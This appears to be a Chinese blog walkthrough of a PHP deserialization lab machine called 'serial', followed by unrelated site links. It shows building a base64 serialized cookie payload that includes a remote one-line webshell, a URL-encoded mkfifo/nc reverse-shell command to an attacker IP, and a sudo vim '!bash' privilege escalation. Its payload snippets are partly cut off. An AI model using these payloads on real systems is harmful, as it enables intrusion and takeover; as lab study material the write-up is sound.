反序列化靶机serial
创始人
2024-11-15 23:07:20
0

1.创建虚拟机

2.渗透测试过程

探测主机存活(目标主机IP地址)

使用nmap探测主机存活或者使用Kali里的netdicover进行探测

-PS/-PA/-PU/-PY:这些参数即可以探测主机存活,也可以同时进行端口扫描。(例如:-PS,发送TCP SYN包进行主机探测

访问

首先访问80端口 F12查看源代码,那我们查看cookie

O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:7:"Welcome":0:{}} o:代表存储的是对象(object),如果传入的是一个数组,那它会变成字母a。 4:表示对象的名称有4个字符。User表示对象名称,刚好是4个字符。 2:表示有2个值 s:表示字符串,数字表示字符串的长度,s:10:" User name"; 

使用工具进行扫描,这里扫到一个/backup/目录

打开查看,是一个zip文件,下载查看,是三个源代码文件

通过代码审计得知,首先index.php文件包含了user.class.php文件,对cookie中的user参数进行了序列化和base64编码,然后user.class.php文件包含了log.class.php,且定义了两个类,分别是Welcome和User,并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log,且handler函数对变量还进行了文件包含和输出

构造payload

wel = new Log();   } } $obj = new User(); echo base64_encode(serialize($obj)); 

抓包

Get shell

生成一个shell 放在www下9.txt

然后构造payload,尝试读取passwd文件,payload如下 新创建一个1.php在本地的www下 然后 把type_log参数后面记得改成自己上传到本地的一句话木马

wel = new Log();   } } $obj = new User(); echo base64_encode(serialize($obj));

 改为本机的www下的

将生成的64编码放到重放器中

 

输入 rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.87.128+7777+>/tmp/f

kali监听成功

查看文件,多返回几次上级目录,找到一个txt文件

查看,得到账号密码

远程连接 成功进入

尝试提权,试试sudo vim,进入到命令模式输入!bash

提权成功

相关内容

热门资讯

【ONLYOFFICE深度探索... 文章目录一、功能完善的PDF编辑器:解锁文档处理新维度二、幻灯片版式设计:...
认识Git 🌎初识Git初识Git    什么是Git    Git的安装       Cent...
IDEA(十)2022版本 S... 目录一、问题描述二、问题分析三、解决方案3.1 设置启动参数【生效】3.2 方法二:设...
一篇文章教你使用Docker本... 本地搭建ChatGPT(非api调用)第一种方法:使用Do...
[Docker][Docker... 目录1.网络管理命令1.docker network creatre2.docker network...
笔记:唐老师讲电赛之唐老师讲电... 电阻a . 精度电阻----运放中的电阻要选精度高的,一般±0.1%若在设计电路中电路...
什么是接口? 在前后端开发的语境中,接口(Interface)是一个非常...
从零开始写一个微信小程序 从零开始写一个微信小程序可以分为几个步骤。以下是一个详细的指南,帮助你从头到尾完成一个简单的微信小程...
皮尔曼系数和斯皮尔曼系数的区别... 皮尔曼系数和斯皮尔曼系数皮尔曼系数(Pearson Correlation Coeff...
别再羡慕别人了!学会这四招,你... 现在的短视频剪辑实在是太火爆了,动不动打开抖音刷一下就两三个小时过去了,...